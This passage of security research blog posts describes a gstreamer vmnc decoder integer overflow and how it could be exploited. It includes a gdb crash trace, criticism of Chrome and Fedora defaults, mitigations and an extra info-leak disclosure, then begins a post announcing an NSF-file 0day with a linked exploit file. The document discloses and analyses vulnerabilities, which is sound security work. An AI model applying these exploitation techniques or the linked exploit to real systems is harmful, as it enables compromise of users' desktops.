<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">A copy primitive as one of the rendering modes. This is super big. </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">vmnc_handle_copy_rectangle()</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> is a rendering mode that will take pixels from one area of the image and copy them to another area of the image. Since our integer overflow leads to a small image buffer but a huge image canvas size, you can see that this will enable us to read some out-of-bounds content and write that out-of-bounds. This solves one of the hardest problems we might face, which is to synthesize valid pointers in the presence of good ASLR. We can read an existing valid pointer that is out-of-bounds, and then copy it somewhere else, also out-of-bounds.</span></div>
</li>
</ul>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">To back up a couple of the above points, we can briefly look at the PoC crashing in gdb. We’ll run the PoC through the totem media player on both Ubuntu 16.04 and Fedora 24:</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">gdb totem</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">r vmnc_width_height_int_oflow.avi</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">[SEGV]</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">(gdb) bt</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">#0 __memcpy_avx_unaligned ()</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">…</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">(gdb) i r</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">...</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">rsi 0x7fffbb5e0015 140736336887829</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">rdi 0x7fffa40237fe</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> 140735944996862</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">...</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">The last three bytes of the </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">rdi</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> register at the time of the crash are reasonably consistent across both Ubuntu and Fedora, at 0x0237fe. This is just off the end of a glibc thread arena, which ends at 0x022000. This illustrates the fairly clean heap state, and the 16MB+ alignment of thread arenas.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">It’s clear that writing this exploit would be a lot of fun. I’ll put it on my TODO list, but I’d love to see someone else pick it up.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Google Chrome’s culpability</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Let’s be clear: Google Chrome is the most secure of the common general purpose browsers out there. It has had more effort and money put into sandboxing, code quality, mitigations, fuzzing and community security involvement than the other browsers. This is all backed by a large, strong security team -- the largest monetary investment of the major browser vendors, which speaks volumes.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">However, the default download behavior is one where you can point to e.g. Firefox’s solution as demonstrably superior: the user has to accept any random attacker supplied bytes before they are dumped to disk in a well known and indexable location, with an attacker supplied filename and extension.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">This could be a default behavior to re-align with other browsers, to avoid known security headaches, and probably some as-yet-undiscovered ones too.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Absent action from the Chrome developers, there is fortunately a setting that can be used in environments where security is a concern: </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">chrome://settings -> Show advanced settings -> Downloads -> Ask where to save each file before downloading</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Fedora’s culpability</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">You can clearly see the appeal of parsing and indexing all files that appear on disk. It enables desktop functionality that some users will consider userful. Certainly, other non-Linux operating systems do some of this too. But, this cannot be done carelessly. The lack of a robust sandbox for automatically parsing media formats seems like the largest gap Fedora has.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">This is a problem that lends itself nearly ideally to sandboxing: the inputs and outputs and clear, and the rights needed to transform the inputs into the outputs are minimal. The input is just a memory chunk of the media file to be indexed. The output is a few metadata strings, perhaps some fixed format thumbnail canvases, etc. And the rights needed to do the transform are probably minimal: no writable filesystem access, no network access, no other process access, etc.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">There’s also the concern that the media attack surfaces are a little out of hand. The default desktop install offers a range of fringe decoders that provide risk, for little benefit. In the case of Fedora 24, the faulty plug-in is pulled in via the default package gstreamer1-plugins-bad-free. From the </span><a href="https://gstreamer.freedesktop.org/documentation/splitup.html" style="text-decoration: none;"><span style="background-color: transparent; color: #1155cc; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">gstreamer documentation</span></a><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">: “these plug-ins are Bad with a capital B”. I’m not the first to notice this possible disconnect. From </span><a href="http://www.tedunangst.com/flak/post/features-are-faults" style="text-decoration: none;"><span style="background-color: transparent; color: #1155cc; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">Ted Unangst’s post</span></a><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">: “I do not want something called gstreamer-plugins-bad to be connected to the internet”. For some of the most dodgy decoders, we probably shouldn’t even be providing a nice automatic UI to offer to install them, because users will just click “yes”. </span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">We can note that one quick way to break the link between the two risky designs is to remove the </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">user/Downloads</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> folder from the list of indexed paths. This can be achieved via the </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">tracker-preferences</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> tool, see below.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Disabling or removing tracker is non-trivial. This thing is like a virus! There’s some good information here: </span><a href="https://ask.fedoraproject.org/en/question/9822/how-do-i-disable-tracker/" style="text-decoration: none;"><span style="background-color: transparent; color: #1155cc; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">How do I disable tracker?</span></a><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> To distill it:</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<ul style="margin-bottom: 0pt; margin-top: 0pt;">
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">There’s a non-default-install tool, </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">tracker-preferences</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, that appears to offer the ability to disable indexing, or configure which paths are indexed.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Or you may prefer to just eviscerate tracker from your install. A lot of things depend on it, but </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">rpm -e tracker --nodeps</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> does not appear to blow things up too badly.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Beware that even after removing the tracker package, a log out and then in still left the daemons running for me. Perhaps do a reboot to be safe.</span></div>
</li>
</ul>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Bonus 0day</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">(Absent a CVE, you can uniquely identify this as CESA-2016-0003.)</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">The render canvas, as allocated in the code snippet quoted way above, is not black filled or otherwise initialized. The call to </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">g_malloc()</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> is just a thin wrapper around </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">malloc()</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, which does not initialize any returned heap area. Therefore, there’s an easy information leak in thumbnailing a simple 1 frame vmnc movie that does not draw to the allocated render canvas at all. This could be a problem for anyone using gstreamer in a server environment to provide thumbnailing services.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Closing notes</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Did I mention that ffmpeg has a vmnc decoder too and it appears more robust than the gstreamer one?</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<span id="docs-internal-guid-ddb907e7-69d7-0704-384f-704fbe6672ea"></span><br />
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">This was too easy. It should not be possible to find a serious memory corruption vulnerability in the default Linux desktop attack surface with just a few minutes of looking. Although it’s hard to say it, this is not the kind of situation that occurs with a latest Windows 10 default install. Is it possible that Linux desktop security has rotted?</span></div>
Chris Evanshttp://www.blogger.com/profile/01004765479735675808noreply@blogger.com13tag:blogger.com,1999:blog-3024470480937744884.post-61417140474785510582016-11-14T09:25:00.000-08:002016-11-14T09:25:57.368-08:00[0day] [exploit] Compromising a Linux desktop using... 6502 processor opcodes on the NES?!<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Overview</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">A vulnerability and a separate logic error exist in the gstreamer 0.10.x player for NSF music files. Combined, they allow for very reliable exploitation and the bypass of 64-bit ASLR, DEP, etc. The reliability is provided by the presence of a turing complete “scripting” inside a music player. </span><a href="https://en.wikipedia.org/wiki/NES_Sound_Format" style="text-decoration: none;"><span style="background-color: transparent; color: #1155cc; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">NSF files</span></a><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> are music files from the Nintendo Entertainment System. Curious? Read on...</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Demonstration, and affected distributions</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Here is a screenshot of the exploit triggering. Somewhat alarmingly, it does so without the user opening the exploit file -- they only have to navigate to the folder containing the file. More on that below.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><img alt="xcalc_from_downloads_folder.png" height="485" src="https://lh6.googleusercontent.com/yZ7DiShP_Jkjm7pEyh5Mea-1WuLR0PT-XAUlwEZSFstXQ4SGH5hgIB3hrlTRQNmGYcMaU66TsOrw-UA2JLxNL9ewnD_pcqU83OndUfQ-vO--xLr2adnN67XByEHuJ2NX4sAGKHZc" style="-webkit-transform: rotate(0.00rad); border: none; transform: rotate(0.00rad);" width="624" /></span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">You can download the file: </span><a href="https://security.appspot.com/security/nsf/exploit_ubuntu_12.04.5_xcalc.nsf" style="text-decoration: none;"><span style="background-color: transparent; color: #1155cc; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">exploit_ubuntu_12.04.5_xcalc.nsf</span></a><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">. In the image above, the file has been renamed to “time_bomb.mp3”. We’ll cover why below.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">As the filename suggests, this exploit works against Ubuntu 12.04.5. This is an old but still supported distribution. Specifically, for reproducibility, it works against _exactly_ Ubuntu 12.04.5, without further updates. If you take all the updates, you’ll get a new glibc, which changes some code offsets and the exploit will crash. The crash is of course deterministic and it would be possible to code the exploit to cater for arbitrary glibc binaries; this is left as an exercise for the reader.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">The vulnerability is in </span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">libgstnsf.so</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, an audio decoder present in the gstreamer-0.10 distribution. Ubuntu 12.04 uses gstreamer-0.10 for all its audio handling needs. Ubuntu 14.04 is apparently affected because the default install includes gstreamer-0.10, but most media handling applications use gstreamer-1.0 which is also installed. The exact circumstances under which Ubuntu 14.04 uses the vulnerable gstreamer-0.10 are not clear. The Ubuntu 16.04 default install has only gstreamer-1.0, which is not affected by this vulnerability.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">This exploit works against what I would consider the “default” install. During Ubuntu install, there’s a question along the lines of “hey, do you want mp3s to work?” and of course the correct answer is “yes”. Various extra packages are then installed including gstreamer0.10-plugins-bad. This package includes </span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">libgstnsf.so</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Wait, what, an 0day, with an exploit and all?</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Yes, an 0day.</span></div>
